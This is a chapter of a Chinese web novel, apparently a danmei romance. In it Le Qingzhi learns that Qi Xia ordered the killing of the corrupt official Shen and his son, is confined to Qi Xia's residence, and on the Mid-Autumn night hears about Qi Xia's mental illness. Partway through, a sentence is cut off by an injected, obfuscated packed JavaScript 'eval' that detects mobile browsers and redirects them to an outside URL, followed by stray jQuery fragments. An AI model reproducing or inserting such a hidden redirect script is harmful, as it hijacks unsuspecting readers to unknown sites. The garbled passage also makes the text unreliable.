默认冷灰
24号文字
方正启体

37. 石头

作者:铁质蝴蝶结本书字数:K更新时间:
    乐擎枝笑后,隔开苗秀离十几步远。


    调查半天,不出所料,昨夜那事已传的沸沸扬扬,坊间闹腾得很,街上张贴了大大小小的悬赏布告。


    「八月初九,朝中谏臣沈屏大人与其子沈楼突遭不测,殒命谪仙馆。


    沈屏虽有劣迹,然国法森严,凶徒实乃猖獗,藐视王法,罪不容诛!


    此案系仇家报复或另有隐情。凡见近日有行踪诡秘、突然暴富、言行异常者,皆可举报。若有见可疑人等,速报官府。


    首告者或擒获凶犯者赏黄金百两,知情不报者同谋论处!


    ……」


    晚上杀的也不是谁,正是当朝最负败名的沈氏,沈氏贪墨贪赃雁过拔毛,中饱私囊日食万钱,前天乐擎枝在南风馆还差点给沈家他儿子……至于其他,也都是些当蹭其官威的酒肉朋友,或多或少也谋上私利以为口腹之欲。


    但官府对这件凶案毫无头绪,不知凶犯男女,不知身形,不知人数,什么都不知。


    乐擎枝瞅瞅面无表情的苗秀离,估计也套不出什么话,转身去坊间窜窜,听听别人消息。


    据说宴会结束后楼上并未清理干净,几乎可以说是没清理,解琼演奏完毕上去一趟便慌忙下来,她神色不安地抱着琵琶,似是被吓得不轻。


    底下众客看她这模样,一面安慰一面好奇,也都上去瞧,嚯,一看不得了,尽是血和横七竖八的尸体,急忙报了官。


    官府那边现场调查一番,没有证据指向谪仙馆,他们简单向老板说了一些不要开门继续营业之类的话,转头安慰凌乱了发丝的解琼说,不要怕,小妹妹,不要怕哦。


    呵呵,果然这个破烂时代有张美脸还是很重要啊,关键时刻能保命呢。乐擎枝打探到这条消息时,恰好路过一面铜镜,他看着自己的脸笑笑,心中五味杂陈。


    一晃便是日落时分。


    姐姐……她究竟会不会被抓到呢?


    姐姐……究竟在做什么呢?当杀手?


    乐擎枝继续疑惑,最后在苗秀离的护送下回太尉府去了。


    他前脚进府,苗秀离转头又去街上买什么东西,没跟他说具体是什么,只说是齐遐吩咐的一个罐装玩意儿。


    院中树影越拉越长,渐渐消失。


    这夜,齐遐子时才归,较昨个早一时辰。


    乐擎枝侧躺在床,没下床帘,撑着眼睛终于候到齐遐轻轻推开门扇,微弱光亮随着推关门,在某人脸上一闪而过。


    忙了一天的太尉当他是睡着,蹑手蹑脚的。


    月色朦胧,擎枝见齐遐手握瓶小陶罐子,他把它放在桌案上,又脱去外袍披在椅背,背对他解起铁护腕来。


    乐擎枝咳一声清清嗓,直言:“我见到姐姐了。”


    齐遐有些吃惊,回头望向他:“乐澈漻?你在哪儿见到她的?”


    乐擎枝欲把原委道来:“昨天,谪仙馆……”


    “你去那地方?”齐遐截话,叹口气,“我知道,我是谋主。”


    知道?还是谋主?乐擎枝心里有千万颗大石头像浪一样卷过。你不是说根本不知道乐澈漻行踪的吗?!


    骗子!骗子!


    他刚要骂,齐遐开口:“跟澈漻姐有何干系?只念沈家那两个该杀。”哦,他不知道乐澈漻会出现吧。


    乐擎枝结巴:“她,是她一人杀尽楼上所有人……”


    “杀人……”齐遐明白了,“谪仙馆,只要给钱,杀人放火什么都干,我包了场,又雇来个杀手组织,解琼你或也见到,她便是这杀手组织的头头,当时谈论她说只消派上一个人,我难彻底相信他们,放心不下,嘱苗秀离昨晚去那里帮忙,奈何还需帮我把你看着,未能大动拳脚。”


    这人只晓得杀谋,真心不知道乐澈漻为何会出现在那里。


    且依齐遐所言与自己所见,乐澈漻定是成为了一名杀手。


    家中惨遭灭门,债条纷飞,当上杀手的话酬劳不菲,她这是为了还债?


    齐遐脱完外袍,望着乐擎枝:“那些地方都是我跟苗秀离说不要让你去的,人多眼杂,保不准发生什么。”


    乐擎枝很轻地“哦”了。


    齐遐柔声:“时候不早了,困吗?先睡吧,夜安。”语罢,掖其被角,转身去沐浴了。


    齐遐收拾得快,完事后穿着寝衣,掀开被子照常睡外边。


    乐擎枝尚有疑问:“杀他们做什么?”


    齐遐嘴角轻轻一撇:“他碰你了。”可明眼人都能看出来,事实当然不仅于此。


    “谁?沈楼?”乐擎枝推搡开。


    齐遐嗯一声。


    不至于吧……呃,至于吗?至不至于……


    乐擎枝僵起脸没再说话,翻过身去背朝齐遐,但这家伙回来后他竟然有点睡不着,想想之前的事情,总觉得哪里难受。


    脑袋?肩膀?肚子?手?脚?腿?好像都不是。


    半晌,他服软了,翻回身来,见齐遐闭眼低垂长睫,呼吸轻缓。


    他试探道:“太尉大人?”


    “嗯?”齐遐果然还没睡着。


    “昨晚那件事……我……”乐擎枝有点难以启齿。


    不过这个人基本什么都会答应他的,会吧……会吧?


    “你天天做这种梦吗?”但齐遐好像懂他意思。


    语罢,齐遐翻开被子起身,把放在桌案上的那瓶小陶罐拿过来。


    乐擎枝后知后觉,这居然买的是……


    只记得到快天亮时,齐遐几近风魔,大抵是脑袋伤了,一直边哭边重复着乐擎枝不能懂的话,到后来甚至不再动作,只是抱着他哭,缩在乐擎枝怀里去哭,蓝灵石硌得他心口疼。


    你是不是真的?


    你是不是真的?


    你不是文文!


    你到底是谁?


    是谁?是谁!!!


    别走了,别走了,不要丢下我……


    师父……


    师父?乐擎枝不解。


    当然,乐擎枝昏死一样睡过去,醒来直接下午,那人又不见了。


    他照前几日一样起床吃吃苗秀离带的东西,又准备出门,不料今天却被拦住。


    苗秀离道:“主公有令,即日起你不准出府。”


    好想出去再探探,可是太尉府既是守卫又是高高的院墙,翻也翻不出去,走大道更不可能走不出去,现下还失了灵力,穿墙的功夫也没有。


    算了,反正在里头被好生伺候着,再者,上次见到了姐姐,姐姐已知道他的行踪去向,也许哪天乐澈漻就登门拜访了。


    至于这些也不过是时日的问题。


    乐擎枝被禁足在太尉府,这样过去了三天。


    苗秀离天天给他带好吃的。好吃的桂花糕,好吃的芝麻糖,花生酥好吃的麻辣鸡,好吃的……


    贺年好倒在外头游荡快活了,一次也没来找过他,肯定没什么要紧事儿。


    这些日子皇城里的事项太多,齐遐每天都回来的很晚,中途甚至有一夜没回来过。


    虽然这家伙回来的次数少,时间短,但继上次那种事情发生过,三日之内两人一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833257|154454||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来二去重复几遍。


    ……这下好了,一回生二回熟,乐擎枝更是三回就上瘾。


    真算是便宜齐遐了。


    擎枝上瘾之后,求着他,太尉府几乎没有哪个角落他们两个没有乱搞过。


    伺候的好了还时不时蹦出几句“哥哥”来,迷得齐遐春心荡漾神魂颠倒。


    齐遐累死累活搁朝廷里忙一天还得回来伺候他,他却还想玩点花的,碍于脸面还是有点不好说……他想到这儿脸颊泛红,苗秀离问他怎么了?


    乐擎枝惊忙摸摸自己发烫的脸,说:“哦!没事没事。”


    第五天,八月十五中秋夜,整个太尉府忙上忙下,从早晨到晚上,平常静地像一汪死水,今天属实热闹,苗秀离同样忙着监工忙。


    乐擎枝还换上了新衣服,他来这府上后每天都穿得温润,比在地府好了千倍百倍,好要回到少主时似的。


    月挂中天,临近子时,齐遐却仍未回府。


    擎枝步出门,抬头望月,今年的月亮依旧圆。


    回想起小时候,年年都是家宴,年年都是他们一起坐在九莲湖畔后面的廊亭看月亮,枯湖水映月光,倒进远方的山。


    关于琐碎的事,乐擎枝记不大清,隐约晓得有一年,他们两个小家伙刚认识不久,是夜,乐家中秋家宴,乐擎枝伏在栏杆上和齐遐聊些什么,那时候他太困,只模糊记得他当时问了齐遐一个问题,什么山什么字,齐遐的回答也没听清,就沉沉睡下去了。


    几年未见,廊亭被一把火烧去不再,人也是东奔西走。


    月下桂影飘香,庭院内桌子,苗秀离为他斟上一杯酒。


    苗秀离见他一动不动呆呆望天:“有心事?”


    “算吧。”乐擎枝回过神来,笑着摇摇头,他望着眼前的一小杯酒,酒里进了一个小小的月亮。


    想喝。


    但他这个酒量喝了保准耍酒疯,于是婉拒了苗秀离的好意。


    这几天过去,苗秀离终于忍不住向他道:“你知道吗,主公一直……”苗秀离手指戳戳自己脑壳。


    苗秀离:“他有点心病。”


    乐擎枝叹气:“我知道。”


    现下都这样了,天天抱着他说奇怪的话,整个人都熏成沉香了仍难安眠,要是还看不出来,那他可能是被府君戳瞎了双眼吧。


    苗秀离:“主公从小一直这样,他年少时还没有那般严重,后来去远疆征战,回来发了一次大疯,每次在府内脸色都阴沉下去,直到你一来,他才好了许多。”


    从小?从小就这样?乐擎枝没见过,乐抓得点还十分奇特,注意到苗秀离说齐遐小时候的事情,问:“你什么时候进的府?”


    “很久以前,那年主公还在读书,我爹是先平澜将军的仆人、齐家的仆人,娘亲死后我跟着他在齐府做打杂的事,后来他病死,我也即要被遣散,是主公看中我的资质提拔我,让我作他的暗卫。”


    齐遐读书的时候……乐擎枝一股子难受劲儿涌上心头。


    “主公曾有一个发小。”苗秀离望向乐擎枝,无缘由地说起来,语句惊人。


    乐擎枝拿月饼的手顿一刻。


    苗秀离继续道来:“与主公同是鸠兹人,同读于一所学府,是一个少主,是江南第一富商,长得美,人却言之命格孤煞,不仅如此……


    乐擎枝匆匆咬一口月饼。


    “他早死了。”


    乐擎枝胡乱嚼嚼月饼。


    “你不是敬木,你叫乐擎枝,可对?”


    乐擎枝咽下去,差点呛出来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)